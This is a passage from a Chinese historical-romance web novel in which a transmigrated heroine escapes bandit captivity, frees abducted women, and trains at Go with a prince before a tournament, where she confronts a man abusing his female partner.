“落画姑娘,如今我们已是一条绳上的蚂蚱,想要独自脱身,怕是没那么容易。”宋锦瑶收起碎片,目光冷漠地看着眼前的人。
落画双腿一软,瘫倒在地,泪水夺眶而出,眼中满是绝望与不甘。
她狠狠地瞪着宋锦瑶,双手紧握成拳,怒声问道:“宋锦瑶,你到底是怎么识破我的谎言的?还有,这毒为何对你不起作用!”
宋锦瑶凝视着她,轻笑道:““如果我没猜错,你是傅氏庶女。傅渊为了与山匪勾结,编造了你落水身亡的谎言,将你送来此处。你在傅家本就不受宠,所以这个蹩脚的借口才得以蒙混过关。你所谓的回家,是想下山报官吧?可惜,以你一人之力,根本不是傅氏的对手。倒不如与我联手,只有我能帮你讨回公道。”
落画满脸惊愕地看着宋锦瑶,仿佛眼前的人与传闻中的那个柔弱女子判若两人。
她不甘心地嚷道:“你为何知道我的身份!还有我凭什么帮你。”
宋锦瑶早料到她会有此一问,蹲下身子与她平视,目光柔和地说:“你的母亲并不相信傅渊的鬼话,为了找你,她不惜将此事闹得满城风雨。”
“至于为何帮我,”宋锦瑶顿了顿,眼神瞬间变得犀利,“很简单,我们都可以当作今晚的事从未发生,你就继续留在这儿做你的五夫人吧。”
见落画还在犹豫,宋锦瑶冷冷地瞥了她一眼,起身想走,衣角却被猛地拉住,紧接着传来落画妥协的声音。
“我帮你。但你必须带我离开。”
宋锦瑶没有说话,嘴角浮现出一丝微笑。
为了让计划顺利进行,她们迅速互换衣服。落画负责引开其他人的注意,宋锦瑶则趁机潜入山匪头子的房间下毒。
有了落画的掩护,宋锦瑶顺利地找到山匪头子的房间,然而屋内空无一人。
她紧握着刀柄,屏气敛息,仔细地打量着
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四周的每一个角落。
外面的喧闹与屋内的寂静形成鲜明的对比,时间仿佛在这里凝固。
宋锦瑶小心翼翼地走向书桌,只见桌上摆满书卷和五个牌子,上面写满密密麻麻的文字,虽看不懂,但她直觉这些牌子与被掳来成婚的女子有关,于是毫不犹豫地将牌子收入囊中。
正当她想要查看书卷时,门外突然传来脚步声。
她惊恐地望向门外,脚步声越来越近,她意识到是山匪头子回来,慌乱地环顾四周,却发现这山洞内根本无处藏身。
宋锦瑶眉头紧皱,心怦怦直跳,双腿有些战栗。
她惊恐地连连后退,本想靠在墙边的帘子上,却不慎靠空,这才发现帘子后面藏着一个狭小的死角,被帘子遮挡着很难被发现。
就在门被打开的瞬间,她敏捷地躲进去,透过轻薄的帘子,隐约能看到外面的人影。
只见山匪头子和二当家在屋内焦急地踱步,两人脸色苍白如纸,豆大的汗珠从额头滚落,呼吸急促而沉重。
二当家声音颤抖地说:“老大,这可怎么办?那女人到现在还没找到,再拖下去,我们都得完蛋!”
山匪头子也吓得浑身发抖,急忙喊道:“让兄弟们守住大门,一只苍蝇也别放进来,你带些人继续去找!就是挖地三尺也要把她给我找回来!”
二当家领命后,匆匆朝门外跑去。屋内又陷入死一般的寂静,山匪头子在书桌前不安地徘徊,突然,他的目光落在消失的牌子上。
“奇怪,我刚放在桌上的牌子去哪儿了?”山匪头子强装镇定,但眼神却透露出一丝疑虑。
就在他伸手触摸书桌的瞬间,一枚锋利的飞镖擦着他的手飞过,山匪头子反应迅速,立刻缩回手,转身看向屋外。
他抬头对上一个黑衣男子的目光,眼中的恐惧瞬间化为凶狠,他悄无声息地从抽屉里抽出刀,向着黑衣男子猛扑过去。
宋锦瑶躲在帘子后面,看不清黑衣男子的面容,只能看到两个模糊的身影在屋内激烈地打斗,一时间桌椅翻倒,一片狼藉。
山匪头子虽然手持利刃,但明显不是黑衣男子的对手,没几个回合,就已经体力不支,眼见形势不妙,他开始苦苦哀求:“大人,宋锦瑶真的不在我这儿,我明明已经把她迷晕了,不知为何这药对她没效啊。”
黑衣男子并不理会,攻势愈发凌厉,显然不找到宋锦瑶誓不罢休。
山匪头子见情况危急,连忙掏出哨子用力吹响。原本喧闹的外面瞬间安静下来,紧接着,一阵急促的脚步声朝屋内涌来。
黑衣男子想要阻止他,却没想到山匪头子趁机跑到窗户边,留下一个得意的笑容:“你就留在这儿陪葬吧。”
话音刚落,一群凶神恶煞的壮汉手持大刀冲进屋内,将黑衣男子团团围住。
黑衣男子身手矫健,面对众人的围攻依然游刃有余,但随着敌人越来越多,他也渐渐有些力不从心。
将最后一个壮汉斩杀后,黑衣男子身形摇晃,双手撑着膝盖大口喘气,手指微微颤抖。还没等他缓过神来,外面又传来脚步声。
他警惕地环顾四周,发现帘子后面似乎有空间,便果断朝里面走去。
宋锦瑶看着黑衣男子一步步逼近,以为自己被发现了,紧张地握紧手中的刀,对准他。
11. 011
“别动。”
宋锦瑶握紧手柄对准他的腹部,语气格外冷漠。
对方微怔,目光落在她的身上,透露出一丝轻笑,随后也不管宋锦瑶是否真会刺伤他,自顾自挤进来。
下一秒,房间果然冲进来第二波壮汉,他们看着满地不堪的模样,左顾右盼寻找黑衣男子下落。
狭小的死角空间内,他们两人几乎贴在一起。宋锦瑶依旧握着刀柄对准他,直到听见对方沉重的呼吸声,她才缓缓抬头看向他。
只见黑衣男子正紧握着自己的腹部,鲜血早已透过衣裳渗了出来,在黑色的布料上晕染出一片刺目的红,他眉头紧蹙,倒吸一口凉气。
“你受伤了?”宋锦瑶目光落在他的伤口处,有些担忧道,“得快点处理伤口,不然会感染。”
对方不为所动,依旧保持着原来的姿势,只是额前的冷汗不受控制地滑落下。
宋锦瑶突然想起落画事先给她准备好的止血药粉,她连忙伸手在囊中翻找起来,刚想建议他使用时,立马对上黑衣男子冷漠的眼神,她倒有些不自在。
她微微低下头,压低声音解释道:“你看起来有点糟糕,再这么拖下去,很快就会意识模糊,要不先让我为你敷药?我保证不会偷看你的容貌的!”
黑衣男子眸中一动,呼吸声越来越沉重,他撇过脸,语气冷淡道:“不需要。”
宋锦瑶瞧见他嘴硬,心里没好气吐槽道:“伤成这样了还不需要,也就我好心愿意帮你,出了这个地方,外面全是要杀你的人。”
两人距离太近,纵使她已经尽量把声音压得很低很小,可难免还是会被听见。
见他不说话,宋锦瑶也不知是哪里来的胆子,鬼使神差般地竟直接上手去拉他的衣服,那动作带着一丝急切,又有着些许的莽撞。
突如其来的行为吓得黑衣男子连连往后退,本想阻止她胡乱来的手,却不料拉扯到伤口,他猛地靠在墙角,眸中一沉,脸色尤为难看。
这一动静可不小,周围还在寻找的壮汉听到细微的声响,眉头微蹙,立马停下动作,扭头朝帘子走去。
透过帘布隐约看到人影,黑衣男子强忍着疼痛,咬着牙,附过身双手撑在墙上,用自己的身子紧紧地压住宋锦瑶。
他凑近她的耳边,低语道:“别出声。”
宋锦瑶不用他说,自然会安静下来。可对方在她身上,每次的呼吸起伏,在这狭小的气氛里,被放大无限倍。
温热的气息不断地扑在她的脸上、脖颈处,让她的脸不自觉地微微泛红,她只能低下头,不敢去看他
一时间,同时屏住呼吸,安静的空间内,只剩下两人急促的呼吸声,以及心脏砰砰乱跳声。
那名壮汉神色凝重,步步朝帘子走去,直到伸手想去掀开帘子的瞬间,一道身影从身后突然冒出,抬手瞬间将他扼杀。
来人也是身着黑衣,他们两人只是相互对视了一秒,立马明白对方意思。
外面的男子眼神中只剩下无情的凶狠,他冷冷地扫视一圈屋内的尸体,随后握紧刀柄,朝屋外跑去。
直到房间内彻底安静下来,宋锦瑶才敢抬头瞥向身上的人,正巧对上那人混沌的双眸,让人看不透。
黑衣男子垂眸打量着她,眼中是深不见底的黑暗,他带有一丝审判语气质问道:“宋锦瑶,你对谁都这么……随便的吗?”
随便?什么随便?
她不明所以地看着他,刚想开口询问,不料被对方立即打断。
“罢了,外面是我的人,早点回去。”
说完,他依旧垂眸看着身下的人,迟迟不肯离去,直到门外响起催促声,他像是才回过神来,忍不住摸了摸宋锦瑶的头,那动作很是温柔,和他之前的冷漠判若两人,然后才转身离开。
宋锦瑶不明所以地呆愣在原地,直到对方彻底消失在屋内,她才慢一拍反应过来。
顾不上那人莫名其妙的摸头,她赶紧拿出牌子,对照着上面的名字,心急火燎去寻找被关押的女子。
好在落画也平安无事,宋锦瑶将被关押女子全都放走后,她一个人悠悠叹了口气,不禁回想到这一切的发生。
这次未能得逞,想必傅渊绝不会善罢甘休。
而且事情闹得这么大,山匪头子也不会放过她。
以及那两名黑衣男子到底是谁?
又是一乱糟的思绪,根本无从下手。
宋锦瑶倚在桌旁愁眉苦脸,不由自主深深叹了口气,
落画瞧见走过来,一同站在身旁,语气却不是之前那样嚣张傲慢,而是刮目相待。
她感慨道:“宋锦瑶,没想到你居然真的将大家救出来,之前是我无礼,我向你道歉。”
宋锦瑶笑了笑没说话,目光依旧停留在大家重获新生的笑容上。
“你同我回去吗?”落画眼中闪过复杂的情绪,“听闻你在皇室那边过得并不好,之前还因为偷情私奔领罚,要不正好趁着这个机会逃走吧。”
闻言,她微微一顿,没好气反驳道:“纠正一下,不是偷情和私奔!纯纯意外!”
随后,叹了口气继续道:“之前确实有这个想法,但现在没有了。我想留下,不仅仅是为了我自己。”
落画意味深长地打量着宋锦瑶,挑眉点点头:“但还是提醒你一下,皇室最近可不太平,你最好少和他们打交道,以免引火上身。”
说完,她领过包裹,朝宋锦瑶挥挥手,笑着说道:“宋锦瑶,很感谢你救我,你以后就是我落画最为信任的人,期待你用围棋站在最后,获万人尊敬。”
两人互相道别后,宋锦瑶欣慰地看着她远去的背影,随后拍了拍手,也上了马车,朝着皇室围棋学堂走去。
回到学堂后,又是临近晚上,漆黑的天空没有一颗星星。
她一下马车,便瞧见不远处站满人,为首的小厌看到是宋锦瑶回来时,立马朝她跑去,丝毫不在意周围人的目光。
她一把抱住宋锦瑶,身子微微发抖,泪水止不住留下:“小姐,你终于回来了,小厌真的好担心你。”
宋锦瑶安慰地拍了拍她的后背,轻声说道:“我没事,不用担心。”
她抬眸望向众人,洛青尹、常玉恒、夫子还有其他学子和下人都来了,大家的脸上都带着关切的神情,可唯独不见徐颂祁。
或许是看出来她眼底细微的情绪,常玉恒含笑道:“徐颂祁今晚朝廷有事,不便来迎接宋小姐,还请莫怪。”
朝廷事情自然较为重要,她微微点头表示理解,刚想开口告诉大家不必担心,不料整个人脑袋一沉,紧接着双腿发软,意识瞬间变得模糊起来。
回想到系统技能时间已到,她便彻底没了意识。
等宋锦瑶再次醒来后,只觉得浑身痛得厉害,四肢根本抬不上来,尤其是脑袋,感觉依旧云里雾里。
毕竟是连喝两杯有毒的酒,能活着也算是老天爷开了眼。
寂静的房间内只有鸟雀在窗台那低叫,宋锦瑶无聊地望着这一幕,不禁回想到从刚开始以来,她每次清醒似乎都是夹带些刺激。
话说今天真的格外安静。
“小姐,你醒啦?”
小厌便提着糕点走进来,瞧见宋锦瑶一动不动模样,脸上荡起微笑:“今日学堂上课,是不是比往日都要平淡些呢?”
宋锦瑶淡淡回道:“我这是睡了几天?还有你手上的糕点哪里来的?”
“已经过去两天了小姐。”小厌一脸八卦模样,“这些糕点是王爷特意安排给小姐的,王爷一回来就听说小姐昏迷不醒,立马安排好给小姐喜欢吃的糕点,看样子很是担忧呢。”
徐颂祁会担心她?她可是最后也没能完成处罚的人啊。
宋锦瑶心里满是疑惑,来不及细想,
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她赶忙让小厌扶自己起来。
意识到她也想去学堂,小厌果断拒绝,苦口婆心地劝着她要多休息,可又拗不过她的软磨硬泡,最后还是乖乖地整理好衣物。
学堂内寂静无声,夫子正左右观看着学子们下的围棋,每经过一处,看到那些下得乱七八糟的棋局,都会紧皱眉头。
看着平时不好好听课,现在小测下得一团乱,他叹息声连连不断。
只有走到徐颂祁和常玉恒两人棋盘上时,眉头才稍有松开,频频点头称赞。
宋锦瑶赶来时,正好瞧见这一幕,她轻声敲了敲门,满脸抱歉地说道:“夫子,我来上课了。”
大家不约而同地抬眸望向宋锦瑶,只有徐颂祁依旧低着脑袋,专注着棋盘上,好像根本没听到她的声音似的。
夫子跟她寒暄几句后,便也从了她的心意,只是大家都在下围棋,没有多余的学子与她比拼。
夫子思索片刻,只好先让宋锦瑶多看看大家的棋法,增加棋艺。
她原本她靠着徐颂祁观赏学习棋艺,但总感觉对方还在生气,她也不再好意思打扰他,只好选择在常玉恒身旁坐下。
常玉恒瞧见她,脸上闪过一丝惊讶,随后也只是笑了笑。
棋盘上,常玉恒的棋法和他本人一样,表面温柔,实则每一步都暗藏玄机,笑容背后藏有“利器”。
相反徐颂祁,明明表面也是温润尔雅的公子,可棋盘上却异常凶狠。
只要是被他看上的“猎物”,纵使对方如何巧妙地隐藏躲避,他都能凭借着自己敏锐的洞察力和高超的棋艺,完美地击中对方的要害,打得对方毫无反击的余地。
她见过徐颂祁的棋法,但此盘上,他的走法却异常温和,倒像是在调戏对方,放长线钓大鱼。
宋锦瑶津津有味地打量着棋盘上的风云,像是在欣赏两个王者的比拼,让人看了难以移开目光。
就在这里,常玉恒垂眸看着宋锦瑶,嘴角含笑温柔道:“锦瑶,你觉得我这样下可行吗?”
宋锦瑶听到他这般亲切的叫自己,一时间愣在原地呆呆地看着他,直到对方轻轻弹了下她的额头,带着一丝亲昵的举动。
“可行……只不过对方进攻方式实属奇怪,还是得防守下。”宋锦瑶赶忙瞥向棋盘,吞吞吐吐回答道。
听闻,常玉恒点点头,笑着道:“多谢,只不过我还有一问,如何快速攻破对方放水呢?”他干巴巴看着宋锦瑶,显然也知道徐颂祁的招数。
宋锦瑶:“……”
她缓缓抬眸偷瞄一眼对面徐颂祁,见他面无表情,好似根本不在意他们相互接耳的行为,于是她也没必要再心虚,立马挺直腰板。
宋锦瑶凑近常玉恒耳畔边,低声一语道破:“你往他招数里下,若他依旧置之不理顺着你来,那就将计就计,在他棋子里摆你的招数。”
常玉恒也凑近她:“真的行吗?我怎么感觉这空气一下子变冷了不少?”
宋锦瑶拍了怕他的肩膀,自信满满道:“我相信你,一定可以的!”
之后,常玉恒果然按照她的指示下棋,对方和她预判的一样,依旧顺着他的招数,放任不管。
就在他以为此招可行时,徐颂祁临时变卦,反手堵死他的白子,随后果断抹杀一切希望,直到此盘再无任何可能,结局注定颂宋祁获胜。
两人唏嘘盯着必败局面,不约而同叹了口气,还没开说说话,对方猛地起身,冷冷地扫了眼心有不甘的宋锦瑶,怒火一下子涌上来,重重地哼了一声转身就走。
他这是闹哪出?
她刚想询问常玉恒怎么回事时,徐颂祁走到门口立马停下,他没有回头,语气却十分冰冷且带有命令性。
“宋锦瑶,你给我过来。”
宋锦瑶一脸懵逼和常玉恒对视,对方也感到不明所以,只留下一种你多加小心的神情看着她。
12. 012
廊外一片安静,只有宋锦瑶急促又略显慌乱的脚步声,紧紧追在徐颂祁身后。
徐颂祁步子越迈越快,丝毫没有要停下的意思,宋锦瑶只好无奈地跟上去。
她努力找话题:“王爷送的糕点我尝了,尤其是桂花糕点,非常好吃。”
徐颂祁冷冷回道:“没有桂花口味的。”
宋锦瑶一下子被呛得轻咳几声,慌忙解释道:“光滑,对,刚刚说错了,糕点很是…光滑。”
说到后面,自己都觉得这解释太过牵强,尴尬得恨不得找个地缝钻进去,索性低下头,不再言语。却不知对方这么突然停下,正好一头撞到徐颂祁后背上。
宋锦瑶双手捂着头“哎呦”声,还没开口说话,徐颂祁一把抓住她的手,紧接着整个人被拉扯靠在石壁上。
她猛地抬头对上那双深不见底的眼睛,心里不由自主紧张起来。
徐颂祁将她摁在石壁上,整个身子笼罩着她,微微垂眸,目光里带着审视,压抑怒火说道:“宋锦瑶,你当真没什么话要跟我讲吗?”
听闻此言,她不禁眉头微皱,半响,像是想到什么似的,一脸抱歉说道:“王爷,对于上次处罚,我真不是故意见人的,是他们先绑我在先!”
她一脸苦巴巴地看着徐颂祁,祈求他的原谅。
察觉到他握紧的手隐隐收缩,她才意识到自己好像说错话了。
他盯着那张不明所以的脸,几乎眼睛都快冒火球:“宋锦瑶,亏我还如此关心你,你现在还在装糊涂对吧!”
宋锦瑶也不敢吱声,两人就这样保持这一个姿势,直到一个声音突然响起,打破这令人窒息的寂静。
“哪个…冒昧打扰一下。”
洛青尹满脸不好意思,眼睛都不敢直视他俩,语气含糊道:“夫子让我叫你们去趟学堂内,说有很重要的事情跟你们讲。”
宋锦瑶:“……”
徐颂祁:“……”
三人同时站在这片地上实属有些尴尬。
徐颂祁对着她赌气似地说道:“以后别再跟着我了!”说完,一甩袖子转身就走,留下一脸懵逼的她和洛青尹站在原地。
他这是在耍脾气?
完了,这下她肯定徐颂祁生气了。
宋锦瑶欲哭无泪地朝洛青尹看去,对方也一脸无奈地摇了摇头,让她自求多福。
她回到学堂时,一眼便瞧见徐颂祁冷着个脸,端端正正站在夫子面前。夫子看到宋锦瑶进来,连忙招呼坐下。
夫子脸上挂着和蔼的笑容,朝宋锦瑶笑眯眯说道:“过几日将举办季度围棋赛,上面的人特意邀请皇室参与,按照以往惯例,都是由徐颂祁和常玉恒代表参赛,只不过这次玉恒家里有事,正好与大赛撞上,以防万一,我打算让你代替参赛,你觉得如何?”
话音刚落,宋锦瑶猛地抬头看向夫子,眼中闪过惊愕。她下意识赶忙否决道:“不行!”
这下,不光是夫子,就连徐颂祁也同时看向她,眼中闪过惊愕。
“夫子,既然是代表皇室脸面,我认为还有更多学子,以我的能力不足以……”
“可以的。”夫子知道她在担忧什么,眼中荡漾一丝慈祥,“你的棋法我都看在眼里,以你的能力足以与徐颂祁做为搭档。”
宋锦瑶呆呆的看着夫子的眸光,不禁心头一酸。
夫子笑道:“况且此事还是徐颂祁特意安排的,他也相信你,相信以你的实力能让皇室围棋稳拿第一。”
宋锦瑶偷偷转头看着徐颂祁,只见他依旧板着张脸,注意到她的目光,也只是微微撇过脸。
既然寄予厚望,她便绝不轻易放弃。
为了能解决过多使用现代围棋法的弊端,她必须重新学习这个朝代的围棋。但只是一个人的话显然有些寸步难行,所以她只好又去骚扰徐颂祁。
翌日,她买通洛青尹情报,知晓徐颂祁休沐日喜欢到学堂内的竹林亭下棋,果断悄悄潜入里面。
竹林亭向来安静无声,周围是一片绿油油的竹子,微风徐徐吹过,竹叶沙沙作响,好似一副天然风景画。
宋锦瑶刚进来就被眼前的景色吸引住,不停地东张西望,边行走边感慨学堂内竟有这样静谧的地方,直到她的目光落在竹亭上,脚步才不自在地停下。
只见徐颂祁一袭青衣坐在亭子内,轻风缓缓吹过,轻轻撩动着他的发梢,有几只鸟雀停在桌前,好奇地张望着,他却丝毫不在意,满脸专注地看着眼前的棋盘。
他中指与食指夹住棋子,食指向前推将子落在棋盘上,整个动作给人一种温和、从容的感觉。
宋锦瑶躲在柱子后面,眼巴巴地看着他落子气概,即使内心十分好奇他的走法,但又不敢上前。
就在这时,一阵风起,鸟雀被惊得飞走。
徐颂祁垂眸盯着棋盘,像是察觉到什么,开口道:“何时过来的?为何知晓我在这里?”那声音虽然依旧淡淡的,却打破这片刻的宁静。
她知道对方在和自己说话,有些不好意思地走上前,行礼回道:“打扰王爷,我询问洛公子得知的,今日过来特意请教棋法。”
徐颂祁指尖一顿,抬眸望向宋锦瑶,冷漠道:“我说过,以后别跟着我。”
那还偷偷和夫子说让我做你的搭档,口是心非,嘴硬。
她暗自深吸口气,直接豁出去,立马走到他面前,赔笑道:“王爷,小女已经知错,这不来向你赔礼道歉了嘛。”
徐颂祁看着她僵硬的笑容,又瞥了眼她手上空落落,忍不住轻笑:“知错?说来听听宋小姐哪里错了?还有你赔礼道歉的礼呢?别说你自己就是礼。”
见他有所动容,宋锦瑶赶忙坐在他身旁:“总之哪哪都错了,只要王爷认为不对的地方,就一定是我的问题!以后王爷说什么都是对的,至于礼嘛。”
她故意一顿,卖个关子,继续说道:“那就得先让王爷指教后,才能公布。”
此话一出,徐颂祁倒有些惊讶地看着她:“嘴巴这么甜,想必宋小姐为了请教,连夜学习客气话吧?话说宋小姐怎么不去请教常玉恒或洛青尹?我看你们关系不挺好的吗?”
“哪里话。”宋锦瑶故作生气地看着他,“我只跟你天下第一好。”
徐颂祁微微一怔,随后脸上藏不住笑容。他轻轻牵过她,语气温柔道:“坐过来些吧。”
午后细雨绵绵,竹林更显得清幽静谧。两人同坐在一边,他垂眸看着身侧之人认真的容颜,不禁莞尔一笑,亲手教导她每步棋法。
时间在此刻被无限拉长,好似整个世界只剩下他耐心的声音,混合着些许雨声,让两人不断情不自禁朝对方靠近。
“在纵横交错的命格里谋求出路,有时需要舍弃一些棋子,以换取更大空间布局,得失取舍才能竟显智慧。”
徐颂祁轻轻握住她的手,带着她的手去落子,教她如何在对弈中以守为攻,步步紧追他人却又不暴露自己的弱点。
“人生如棋,棋势无定,棋局难料,落子无悔。棋盘上不仅要关注自身利益得失,也要学会关注他人,懂
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得进退,才有胜负。”
他知晓宋锦瑶棋艺了得,且棋法多为凶狠果断,可往往在对弈过程中,沉着冷静方能大器。
时间一点一滴流逝,直到将棋盘下完后,两人才同时抬头看向对方,脸上闪过微笑。
“好棋!”宋锦瑶看着面前完美无破绽的棋盘,不由得佩服道,“无论对方如何进攻,始终规划着下一步,甚至能提前猜到对方落子点,妙啊。”
见她眼底的星光,徐颂祁也松了口气,暗笑道:“这是一盘方圆间的竞争,需先谋势再落子,规划当然必不可少。”
一下午她感觉自己感悟不少,想着趁热打火,立马向徐颂祁发起邀约:“王爷,我们来对弈一番吧,要是我赢了你就继续教导我,要是我输了,随你处置。”
徐颂祁惊愕地看着眼前自信满满的人,到嘴的拒绝变成点头同意。
他们相对而坐,凉风轻轻拂过,带起宋锦瑶几缕发丝,她抬手别到耳后,眼眸透着一股不服输的劲儿。
“我可不会手下留情!”宋锦瑶扬了扬下巴,率先落子,清脆的落子声在这静谧的竹林里响起。
徐颂祁则嘴角噙着一抹淡淡的笑,不慌不忙跟着落下黑子,两人你来我往,棋盘上黑白棋子渐渐交织。
她心中牢记徐颂祁的话,多观察对方举动,懂得推进而不是之前那样干莽。可徐颂祁棋艺更为精湛,看似随意的落子,却都暗藏玄机,逐渐将宋锦瑶逼入绝境。
她不自觉咬着嘴唇,不甘心地继续寻找破局之法,每一次落子,都好像被徐颂祁提前料到一般,很快又陷入新的困局。
宋锦瑶眉头紧锁,低声朝空气喊去:“系统,技能没有生效吗?为何我听不到徐颂祁的心声?”
【已成功检测到读心术正在生效中。】
话音刚落,她猛地抬眸看向徐颂祁,眼中不禁流露出一丝不可置信。
这人下围棋居然不需要思考能力,倒像是早已形成肌肉记忆,简直恐怖至极。
察觉到异样目光,他不明所以抬头,正好对上那双幽暗的眼睛,徐颂祁歪头含笑,刚想询问怎么了,只见她又立马低头不做声。
这下,她真的完全靠自身实力对弈。纵使她如何步步设局,对方总会逃走,根本摸不清徐颂祁内心到底在想什么
随着徐颂祁落下最后一子,大局已定,宋锦瑶看着棋盘,语气里满是沮丧,嘟囔道:“输了,我还以为这次能赢你呢。”
注意到她眼底的情绪,徐颂祁起身走到她身侧坐下,指着她落下的棋子,耐心复盘道:“这一步你本不应设局堵我,而是先吃我白子,后抢我落子点,这样便能事半功倍,但你还是过于着急,已经自乱阵脚。”
他拿起她的黑子按照自己的思维落子,很快局面发生天翻地覆的变化:“还有我之前说过,你的棋法并不像这个朝代的棋法,但在当今棋盘里,想要继续使用你的棋法,应该很难。”
“所以你要是愿意的话,可以尝试着融合新旧创新,找到属于自己的棋法。”
宋锦瑶看着他微微点头,但输了难免还是有点伤心,她垂眸失望地盯着棋盘,嘟囔道:“王爷,说说我要怎么任你处置吧。”
徐颂祁轻轻抬起她的下巴,强制让她看着自己,眼中闪过复杂情绪:“宋锦瑶,你以后可以直接呼唤我名字。”
她微怔,看到对方瞳孔中倒映出自己模样,试探道:“徐颂祁?”
“嗯。”他眉眼弯弯,轻笑道:“那就惩罚你留在我的身边,教会你我所有的一切。”
13. 013
说是要给徐颂祁赔礼道歉,可这“礼”却让宋锦瑶苦恼好一阵子。
徐颂祁出身世家王爷府,打从出生就被众人尊仰,过着饭来张口、衣来伸手的生活,要送什么才能既符合他的身份,又能表达自己的心意呢?宋锦瑶着实犯了难。
直到目光落在宣纸上,她才灵光一闪,想到一个特别的主意。
竹林内,宋锦瑶故作神秘地让他闭上眼,悄悄从袖口里拿出剪纸。当他睁开眼睛的瞬间,宋锦瑶看到他略带惊讶的表情,忍不住先笑出声。
她将包装好的剪纸放在徐颂祁面前,歪着头,眼睛一眨不眨地观察着他的一举一动,满心期待地问道:“怎么样,这是我亲手剪的,好看吗?”
只见那剪纸上剪的是个小人,脸上笑眯眯地弯着眼睛,再搭配上喜庆的红色,让人看了很难不喜欢。
徐颂祁盯着剪纸越看越眼熟,抬眸正好撞上那双期待的眼睛,疑惑问道:“这不会剪的是我吧?”
宋锦瑶连忙拍手,满脸佩服道:“你怎么知道!是不是很像!”
“好丑。”
宋锦瑶:“……”
见她伸手想要夺走,徐颂祁率先收下,轻笑道:“不过我喜欢,就勉为其难收下。”
从那以后,连续几日,宋锦瑶天天都去请教徐颂祁围棋,两人常常一待就是一整天。
期间,尽管耳边不时传来些流言蜚语,但宋锦瑶全然不为所动,始终保持着积极学习心态。
她原以为徐颂祁会温柔耐心地教导,却没想到他在专业围棋方面,甚至比夫子还严格。
只要是死记硬背的招数下不对,就罚抄十遍,一回生二回熟,直到形成肌肉记忆。
不过,有了徐颂祁的指教,宋锦瑶的棋艺确实突飞猛进。她在棋盘上能够保持绝对的清醒,还学会了适当引诱对方落网。
从最初完全不是徐颂祁的对手,到逐渐能与他匹敌。
大赛当日,围棋馆内来了许多名门望族,整个正厅热闹非凡。宋锦瑶跟在徐颂祁身后,一同向众人行礼。
令她感到有些意外的是,围棋馆里竟男女老少皆有。
对弈尚未开始,徐颂祁带着她坐在庭院里休息。闲聊之际,总是有人来打扰他们,甚至连馆长都亲自下场来迎接徐颂祁。
周围全是想巴结他的人,一个个笑脸盈盈地看着他,不断邀请徐颂祁去瞧瞧他们准备已久的镇馆之宝。徐颂祁再三拒绝,可对方依旧不依不饶。
为了不失礼节,徐颂祁只好无奈答应,本想带着宋锦瑶一起去,可她却摇了摇头,实在不想去看那些人的嘴脸。
庭院里,宋锦瑶安静地坐在木椅上,看着亭子边的小溪流水,享受着这片刻的宁静。
突然,耳边响起一阵责骂声,言语间全是侮辱他人之意。
“这点小事都做不好,你说你活着还有什么用!”男子指着鼻子痛骂女子,“让你下棋多干扰他人心态,你在干嘛!”
女子不敢多言,强忍着眼泪苦涩道:“可对方也是女的,我实在下不了嘴。”
男子不但没同情,反而伸手扇了女子一巴掌,打得她脸颊通红,嘴里骂出的话更加歹毒。
“我早就说过,你们这些女的,干啥啥不行,推卸责任倒是一流。要不是夫子让你上场,你也配做我的搭档?也不看看你们女人都是什么贱货。”
女子捂着通红的脸,不敢吱声,一个劲低着头朝男子道歉。
那人脸都被气青不少,听着她哭泣泣的声音,无名怒火又涌上心头,他紧皱眉头,斥骂道:“哭什么哭,你要是还敢丢老子的脸,看老子打得你活不活得到明天!”
女子显然被吓到,知道又有巴掌落下,吓得撇过脸去,瑟瑟发抖。
宋锦瑶牢记不多管闲事,可面对这样的场景,她实在是忍无可忍。
她快步走上前去,将女子紧紧护在身后,目光凶狠地盯着那男子,大声说道:“公子,这里是围棋馆,可不是你随意撒野的地方。”
男子紧皱眉头:“你谁啊你,我在教导我的搭档,关你屁事。”说着,他又凑近仔细看了看,立刻反应过来,“我想起来了,你就是御史府那个傻子?”
男子低下头,继续讽刺道:“这围棋赛究竟在搞什么,不仅邀请白痴,还让傻子也参赛?”
宋锦瑶紧握拳头,怒怼道:“说的对,什么样的人都能参赛,就连一条不知天高地厚的狗也能在这儿叫嚣。”
听闻,男子脸上丝毫没有羞愧,反而忍不住笑出声来,满脸不屑道:“咋滴,你想打我啊,来啊,你敢打我吗?”
话音刚落,宋锦瑶直接一巴掌呼上去,伴随“啪”一声响亮的耳光,对方头都被打偏。
她甩了甩打疼的手掌,满意道:“别说我赏你一巴掌,哪怕赏你十个巴掌,你也得感恩戴德。”
男子满眼不可置信地看着她,一时间还没反应过来,宋锦瑶赶忙拉起女子的手就往外跑。
可还没走两步,女子便站在原地不动,她一把将宋锦瑶推开,垂着头站在原地,一声不吭。
“怎么了?”宋锦瑶疑惑地看着女子,“再不走的话他就要……”
话音未落,女子大声朝她喊道:“我不认识你,你凭什么打我搭档,给他道歉。”
宋锦瑶瞬间僵在原地,满脸不可置信地看着眼前微微发抖的女人。
她试图唤醒女子的理智:“可他先动手打你的啊,你难道就甘心被他如此侮辱吗?”
女子却唯唯诺诺地退后一步,正好和追上来的男子并排站着:“那也不关你事。”
男子摸了摸被打红的脸,一脸不屑地看着她,显然知道发生什么。他用手搭在女子的肩膀上,轻蔑地看着女子道:“干得不错。”
话锋一转,又转头盯着宋锦瑶,“怎样?宋锦瑶,有时你的好心别人可不心领,视若无睹才是正确选择。”
她对立面前两人,注意到女子低垂着眸,躲在男子身后不敢吱声,而男子则一副高高在上的模样不断打量着自己。
“宋锦瑶,你的传奇故事我略有耳闻,很期待与你一同对弈。”男子弯腰挑眉看着她,语气中全是瞧不起,“看你被我踩下脚下的表情,想想就刺激。”
她握紧拳头,克制自己再次呼上去的冲动,直到对方搂着女子离开后,她也久久不能平息。
这时,一道脚步声传来,宋锦瑶不用抬头就知道是徐颂祁。
她故作淡然问道:“看多久了?”
徐颂祁假装思索片刻,才缓缓回道:“从你
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拉着那女子出来的时候。”
她攥紧裙角,不甘质疑道:“我只不过想帮她,真的是我的问题吗?”
见她脸上一副失望透顶模样,显然是把对方的话听进去。
徐颂祁温柔地抚摸着她的头,微微弯下身子,与她平视道:“你并没有错,错的是他们对人性的歧视,是他们自己的懦弱与无能。而你只是遵循自己的原则去帮助他们,有错的自始至终都是他们自己。”
宋锦瑶抬头对上他的眼眸,良久,轻轻地点了点头。
比赛开始,由主办人随机抽取两两对决。若其中队伍一人失败,将由另一个队友进行抢救对弈,胜则救回可继续下一轮,败则队伍淘汰。
